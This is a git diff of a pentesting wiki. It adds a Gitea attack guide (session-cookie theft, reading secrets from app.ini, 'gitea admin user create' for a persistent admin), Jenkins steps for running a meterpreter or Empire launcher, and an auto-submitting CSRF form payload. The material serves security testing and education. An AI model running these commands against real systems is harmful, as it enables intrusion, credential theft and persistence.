GitBook: [#3120] No subject
BIN
.gitbook/assets/image (648) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 488 KiB |
Before Width: | Height: | Size: 488 KiB After Width: | Height: | Size: 44 KiB |
Before Width: | Height: | Size: 44 KiB After Width: | Height: | Size: 4.3 KiB |
Before Width: | Height: | Size: 4.3 KiB After Width: | Height: | Size: 129 KiB |
Before Width: | Height: | Size: 129 KiB After Width: | Height: | Size: 140 KiB |
BIN
.gitbook/assets/image (655) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 110 KiB |
Before Width: | Height: | Size: 110 KiB After Width: | Height: | Size: 733 KiB |
Before Width: | Height: | Size: 733 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 88 KiB |
BIN
.gitbook/assets/image (662) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 305 KiB |
Before Width: | Height: | Size: 305 KiB After Width: | Height: | Size: 46 KiB |
Before Width: | Height: | Size: 46 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 25 KiB |
|
@ -10,7 +10,7 @@ dht udp "DHT Nodes"
|
|||
|
||||
![](<.gitbook/assets/image (273).png>)
|
||||
|
||||
![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1) (1) (1) (1).png>)
|
||||
![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1).png>)
|
||||
|
||||
InfluxDB
|
||||
|
||||
|
|
|
@ -245,7 +245,6 @@
|
|||
* [H2 - Java SQL database](pentesting/pentesting-web/h2-java-sql-database.md)
|
||||
* [IIS - Internet Information Services](pentesting/pentesting-web/iis-internet-information-services.md)
|
||||
* [JBOSS](pentesting/pentesting-web/jboss.md)
|
||||
* [Jenkins](pentesting/pentesting-web/jenkins.md)
|
||||
* [JIRA](pentesting/pentesting-web/jira.md)
|
||||
* [Joomla](pentesting/pentesting-web/joomla.md)
|
||||
* [JSP](pentesting/pentesting-web/jsp.md)
|
||||
|
@ -526,6 +525,8 @@
|
|||
* [Workspace Security](cloud-security/workspace-security.md)
|
||||
* [Github Security](cloud-security/github-security/README.md)
|
||||
* [Basic Github Information](cloud-security/github-security/basic-github-information.md)
|
||||
* [Gitea Security](cloud-security/gitea-security/README.md)
|
||||
* [Basic Gitea Information](cloud-security/gitea-security/basic-gitea-information.md)
|
||||
* [Kubernetes Security](pentesting/pentesting-kubernetes/README.md)
|
||||
* [Kubernetes Basics](pentesting/pentesting-kubernetes/kubernetes-basics.md)
|
||||
* [Pentesting Kubernetes Services](pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md)
|
||||
|
@ -548,6 +549,7 @@
|
|||
* [Concourse Lab Creation](cloud-security/concourse/concourse-lab-creation.md)
|
||||
* [Concourse Enumeration & Attacks](cloud-security/concourse/concourse-enumeration-and-attacks.md)
|
||||
* [CircleCI](cloud-security/circleci.md)
|
||||
* [Jenkins](cloud-security/jenkins.md)
|
||||
* [Apache Airflow](cloud-security/apache-airflow/README.md)
|
||||
* [Airflow Configuration](cloud-security/apache-airflow/airflow-configuration.md)
|
||||
* [Airflow RBAC](cloud-security/apache-airflow/airflow-rbac.md)
|
||||
|
|
|
@ -68,7 +68,7 @@ jobs:
|
|||
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
|
||||
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org\_name>/\<repo\_name>/environment-variables_
|
||||
|
||||
![](<../.gitbook/assets/image (662).png>)
|
||||
![](<../.gitbook/assets/image (662) (1).png>)
|
||||
|
||||
{% hint style="danger" %}
|
||||
The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
|
||||
|
|
135
cloud-security/gitea-security/README.md
Normal file
|
@ -0,0 +1,135 @@
|
|||
# Gitea Security
|
||||
|
||||
## What is Gitea
|
||||
|
||||
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
|
||||
|
||||
![](<../../.gitbook/assets/image (655).png>)
|
||||
|
||||
### Basic Information
|
||||
|
||||
{% content-ref url="basic-gitea-information.md" %}
|
||||
[basic-gitea-information.md](basic-gitea-information.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Lab
|
||||
|
||||
To run a Gitea instance locally you can just run a docker container:
|
||||
|
||||
```bash
|
||||
docker run -p 3000:3000 gitea/gitea
|
||||
```
|
||||
|
||||
Connect to port 3000 to access the web page.
|
||||
|
||||
You could also run it with kubernetes:
|
||||
|
||||
```
|
||||
helm repo add gitea-charts https://dl.gitea.io/charts/
|
||||
helm install gitea gitea-charts/gitea
|
||||
```
|
||||
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
* Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
* Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
* Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
|
||||
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
|
||||
|
||||
## Internal Exploitation
|
||||
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
|
||||
### With User Credentials/Web Cookie
|
||||
|
||||
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
{% endhint %}
|
||||
|
||||
### With User SSH Key
|
||||
|
||||
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
|
||||
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
|
||||
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea\_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](../github-security/basic-github-information.md#ssh-keys) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
|
||||
### With User Token
|
||||
|
||||
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
|
||||
|
||||
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
|
||||
|
||||
### With Oauth Application
|
||||
|
||||
For an introduction about [**Gitea Oauth Applications check the basic information**](basic-gitea-information.md#oauth-applications).
|
||||
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
|
||||
As explained in the basic information, the application will have **full access over the user account**.
|
||||
|
||||
### Branch Protection Bypass
|
||||
|
||||
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
|
||||
|
||||
* **Enable Push**: If anyone with write access can push to the branch, just push to it.
|
||||
* **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
|
||||
* **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
|
||||
* **Require approvals is bigger than 0**: Then... you need to compromise another user
|
||||
* **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
|
||||
* **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
|
||||
|
||||
Note that **if you are an org/repo admin** you can bypass the protections.
|
||||
|
||||
### Enumerate Webhooks
|
||||
|
||||
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
|
||||
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
|
||||
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
|
||||
|
||||
Webhooks can be set at **repo and at org level**.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
### Inside the server
|
||||
|
||||
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
|
||||
|
||||
In this file you can find **keys** and **passwords**.
|
||||
|
||||
In the gitea path (by default: /data/gitea) you can find also interesting information like:
|
||||
|
||||
* The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
|
||||
* The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
|
||||
* The **jwt private key** inside the jwt folder
|
||||
* More **sensitive information** could be found in this folder
|
||||
|
||||
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
|
||||
|
||||
* `gitea dump` will dump gitea and generate a .zip file
|
||||
* `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
|
||||
* `gitea admin user change-password --username admin --password newpassword` Change the password
|
||||
* `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
|
102
cloud-security/gitea-security/basic-gitea-information.md
Normal file
|
@ -0,0 +1,102 @@
|
|||
# Basic Gitea Information
|
||||
|
||||
## Basic Structure
|
||||
|
||||
The basic gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
|
||||
|
||||
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
|
||||
|
||||
A user may also be **part of different teams** with different permissions over different repos.
|
||||
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
|
||||
## Permissions
|
||||
|
||||
### Organizations
|
||||
|
||||
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
|
||||
|
||||
**Org admins** (owners) can select the **visibility** of the organization:
|
||||
|
||||
* Public
|
||||
* Limited (logged in users only)
|
||||
* Private (members only)
|
||||
|
||||
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
|
||||
|
||||
When creating a new team, several important settings are selected:
|
||||
|
||||
* It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
|
||||
* It's also indicated **if members can create new repos** (creator will get admin access to it)
|
||||
* The **permissions** the **members** of the repo will **have**:
|
||||
* **Administrator** access
|
||||
* **Specific** access:
|
||||
|
||||
![](<../../.gitbook/assets/image (648).png>)
|
||||
|
||||
### Teams & Users
|
||||
|
||||
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
|
||||
|
||||
* Administrator
|
||||
* Write
|
||||
* Read
|
||||
|
||||
## Gitea Authentication
|
||||
|
||||
### Web Access
|
||||
|
||||
Using **username + password** and potentially (and recommended) a 2FA.
|
||||
|
||||
### **SSH Keys**
|
||||
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
|
||||
|
||||
### **Personal Access Tokens**
|
||||
|
||||
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
|
||||
|
||||
![](<../../.gitbook/assets/image (662).png>)
|
||||
|
||||
### Deploy keys
|
||||
|
||||
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
|
||||
|
||||
## Branch Protections
|
||||
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
|
||||
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
{% hint style="info" %}
|
||||
It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
{% endhint %}
|
||||
|
||||
Different protections can be applied to a branch (like to master):
|
||||
|
||||
* **Disable Push**: No-one can push to this branch
|
||||
* **Enable Push**: Anyone with access can push, but not force push.
|
||||
* **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
|
||||
* **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
|
||||
* **Enable Status checks:** Require status checks to pass before merging.
|
||||
* **Require approvals**: Indicate the number of approvals required before a PR can be merged.
|
||||
* **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
|
||||
* **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
|
||||
* **Block merge on official review requests**: If there official review requests it cannot be merged
|
||||
* **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
|
||||
* **Require Signed Commits**: Commits must be signed.
|
||||
* **Block merge if pull request is outdated**
|
||||
* **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
|
||||
|
||||
{% hint style="info" %}
|
||||
As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
{% endhint %}
|
||||
|
|
@ -64,7 +64,7 @@ Check the section below about [**branch protections bypasses**](./#branch-protec
|
|||
|
||||
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not user it to access github api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
|
||||
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
|
@ -112,6 +112,14 @@ An attacker might create a **malicious Github Application** to access privileged
|
|||
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
|
||||
### Enumerate Webhooks
|
||||
|
||||
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
|
||||
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
|
||||
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
|
||||
|
||||
Webhooks can be set at **repo and at org level**.
|
||||
|
||||
### With Malicious Github Action
|
||||
|
||||
For an introduction about [**Github Actions check the basic information**](basic-github-information.md#git-actions).
|
||||
|
|
|
@ -104,7 +104,7 @@ Some **security recommendations**:
|
|||
|
||||
* An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
|
||||
* An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
|
||||
* **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on **_**all**_** of the authenticated user's repositorie**s.
|
||||
* **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
* **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
|
||||
* **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
|
@ -130,6 +130,10 @@ Some security recommendations:
|
|||
* If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
* **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Deploy keys
|
||||
|
||||
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
|
||||
|
||||
### Github Actions
|
||||
|
||||
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
|
||||
|
@ -144,7 +148,7 @@ In _https://github.com/organizations/\<org\_name>/settings/actions_ it's possibl
|
|||
|
||||
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
|
||||
|
||||
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the **_**GITHUB\_TOKEN**_** of a Github Action when it's run**.
|
||||
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the \_GITHUB\_TOKEN**\_\*\* of a Github Action when it's run\*\*.
|
||||
|
||||
### Git Secrets
|
||||
|
||||
|
@ -255,4 +259,3 @@ As you can see, even if you managed to obtain some credentials of a user, **repo
|
|||
* [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
|
||||
* [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
|
||||
* [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
|
||||
|
||||
|
|
|
@ -1,6 +1,11 @@
|
|||
# Jenkins
|
||||
|
||||
## Enumeration
|
||||
## Basic Information
|
||||
|
||||
Jenkins offers a simple way to set up a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **languages** and source code repositories using pipelines, as well as automating other routine development tasks. While Jenkins doesn’t eliminate the **need to create scripts for individual steps**, it does give you a faster and more robust way to integrate your entire chain of build, test, and deployment tools than you can easily build yourself.\
|
||||
Definition from [here](https://www.infoworld.com/article/3239666/what-is-jenkins-the-ci-server-explained.html).
|
||||
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
|
||||
|
||||
|
@ -18,7 +23,7 @@ Without credentials you can look inside _**/asynchPeople/**_ path or _**/securi
|
|||
|
||||
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
|
||||
|
||||
![](<../../.gitbook/assets/image (415).png>)
|
||||
![](<../.gitbook/assets/image (415).png>)
|
||||
|
||||
## Login
|
||||
|
||||
|
@ -67,17 +72,15 @@ This method is very noisy because you have to create a hole new project (obvious
|
|||
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
|
||||
3. Click **Build now**
|
||||
|
||||
|
||||
|
||||
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
|
||||
|
||||
![](<../../.gitbook/assets/image (158).png>)
|
||||
![](<../.gitbook/assets/image (158).png>)
|
||||
|
||||
Or **try to access to the path **_**/configure**_ in each project (example: /_me/my-views/view/all/job/Project0/configure_).
|
||||
Or **try to access to the path \_/configure**\_ in each project (example: /_me/my-views/view/all/job/Project0/configure_).
|
||||
|
||||
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
|
||||
|
||||
![](<../../.gitbook/assets/image (159).png>)
|
||||
![](<../.gitbook/assets/image (159).png>)
|
||||
|
||||
Click on **Save** and **build** the project and your **command will be executed**.\
|
||||
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
|
|
@ -86,7 +86,7 @@ If someone creates a **copy** of that **document** that **contained the App Scri
|
|||
|
||||
This method will be able to bypass also the Workspace admin restriction:
|
||||
|
||||
![](<../.gitbook/assets/image (662) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (662) (1) (1) (1).png>)
|
||||
|
||||
But can be prevented with:
|
||||
|
||||
|
|
|
@ -387,7 +387,7 @@ Get the address to this table with: **`objdump -s -j .got ./exec`**
|
|||
|
||||
Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xDIR_GOT`
|
||||
|
||||
![](<../../.gitbook/assets/image (621) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../../.gitbook/assets/image (620).png>)
|
||||
|
||||
Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
|
||||
|
||||
|
|
|
@ -47,7 +47,7 @@ From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Sig
|
|||
|
||||
In order to mount a MBR in Linux you first need to get the start offset (you can use `fdisk` and the the `p` command)
|
||||
|
||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (2).png>)
|
||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (2) (2).png>)
|
||||
|
||||
An then use the following code
|
||||
|
||||
|
|
|
@ -134,7 +134,7 @@ The files in the folder WPDNSE are a copy of the original ones, then won't survi
|
|||
|
||||
Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`).
|
||||
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1).png>)
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (2) (3).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
|
|
|
@ -128,7 +128,7 @@ The response is a JSON dictionary with some important data like:
|
|||
* Signed using the **device identity certificate (from APNS)**
|
||||
* **Certificate chain** includes expired **Apple iPhone Device CA**
|
||||
|
||||
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (2) (1) (1) (1) (1).png>)
|
||||
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1).png>)
|
||||
|
||||
### Step 6: Profile Installation
|
||||
|
||||
|
|
|
@ -3,8 +3,7 @@
|
|||
{% hint style="warning" %}
|
||||
**Support HackTricks and get benefits!**
|
||||
|
||||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**?
|
||||
Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
|
@ -524,8 +523,8 @@ Check for possible couchbase databases in `/private/var/mobile/Containers/Data/A
|
|||
|
||||
iOS store the cookies of the apps in the **`Library/Cookies/cookies.binarycookies`** inside each apps folder. However, developers sometimes decide to save them in the **keychain** as the mentioned **cookie file can be accessed in backups**.
|
||||
|
||||
To inspect the cookies file you can use [**this python script**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) or use** objection's **`ios cookies get`.**\
|
||||
**You can also use objection to** convert these files to a JSON** format and inspect the data.
|
||||
To inspect the cookies file you can use [**this python script**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) or use\*\* objection's **`ios cookies get`.**\
|
||||
**You can also use objection to** convert these files to a JSON\*\* format and inspect the data.
|
||||
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||
|
@ -615,7 +614,7 @@ You can also use `ios keychain dump` from [**Objection**](https://github.com/sen
|
|||
#### **NSURLCredential**
|
||||
|
||||
**NSURLCredential** is the perfect class to **store username and password in the keychain**. No need to bother with NSUserDefaults nor any keychain wrapper.\
|
||||
Once the user is logged in, you can** store** his username and password to the keychain:
|
||||
Once the user is logged in, you can\*\* store\*\* his username and password to the keychain:
|
||||
|
||||
```swift
|
||||
NSURLCredential *credential;
|
||||
|
@ -712,7 +711,7 @@ You can collect console logs through the Xcode **Devices** window as follows:
|
|||
5. Reproduce the problem.
|
||||
6. Click on the **Open Console** button located in the upper right-hand area of the Devices window to view the console logs on a separate window.
|
||||
|
||||
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (2) (1) (1) (2).png>)
|
||||
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (2) (5).png>)
|
||||
|
||||
You can also connect to the device shell as explained in Accessing the Device Shell, install **socat** via **apt-get** and run the following command:
|
||||
|
||||
|
@ -850,7 +849,7 @@ For **more information** about iOS cryptographic APIs and libraries access [http
|
|||
|
||||
The tester should be aware that **local authentication should always be enforced at a remote endpoint** or based on a cryptographic primitive. Attackers can easily bypass local authentication if no data returns from the authentication process.
|
||||
|
||||
The [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) \_**\_provides a set of APIs for developers to extend an authentication dialog to a user. In the context of connecting to a remote service, it is possible (and recommended) to leverage the [keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) for implementing local authentication.
|
||||
The [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) \_\*\*\_provides a set of APIs for developers to extend an authentication dialog to a user. In the context of connecting to a remote service, it is possible (and recommended) to leverage the [keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) for implementing local authentication.
|
||||
|
||||
The **fingerprint ID** sensor is operated by the [SecureEnclave security coprocessor](https://www.blackhat.com/docs/us-16/materials/us-16-Mandt-Demystifying-The-Secure-Enclave-Processor.pdf) and does not expose fingerprint data to any other parts of the system. Next to Touch ID, Apple introduced _Face ID_: which allows authentication based on facial recognition.
|
||||
|
||||
|
@ -1094,7 +1093,7 @@ In order to check this issue using Burp, after trusting Burp CA in the iPhone, y
|
|||
### Certificate Pinning
|
||||
|
||||
If an application is correctly using SSL Pinning, then the application will only works if the certificate is the once expected to be. When testing an application **this might be a problem as Burp will serve it's own certificate.**\
|
||||
In order to bypass this protection inside a jailbroken device, you can install the application [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) or install \[**Burp Mobile Assistant\_\*]\(\_[https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)\\](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing\)/)**\*
|
||||
In order to bypass this protection inside a jailbroken device, you can install the application [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) or install \[**Burp Mobile Assistant\_\*]\(\_**[**https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)\\**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing\)/)\*
|
||||
|
||||
You can also use **objection's** `ios sslpinning disable`
|
||||
|
||||
|
|
|
@ -100,6 +100,21 @@ According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#s
|
|||
|
||||
However, note that the **severs logic may vary** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Example (from [here](https://brycec.me/posts/corctf\_2021\_challenges)) of sending JSON data as text/plain:
|
||||
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
|
||||
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
|
||||
</form>
|
||||
<script>
|
||||
form.submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
### application/json preflight request bypass
|
||||
|
||||
As you already know, you cannot sent a POST request with the Content-Type **`application/json`** via HTML form, and if you try to do so via **`XMLHttpRequest`** a **preflight** request is sent first.\
|
||||
|
|
|
@ -37,7 +37,7 @@ URLs example to abuse JNDI:
|
|||
|
||||
### JNDI Example
|
||||
|
||||
![](<../../.gitbook/assets/image (655) (1).png>)
|
||||
![](<../../.gitbook/assets/image (655) (1) (1).png>)
|
||||
|
||||
Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("<attacker-controlled-url>")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.
|
||||
|
||||
|
@ -104,8 +104,7 @@ Therefore, the only thing needed to get RCE a **vulnerable version of Log4j proc
|
|||
\
|
||||
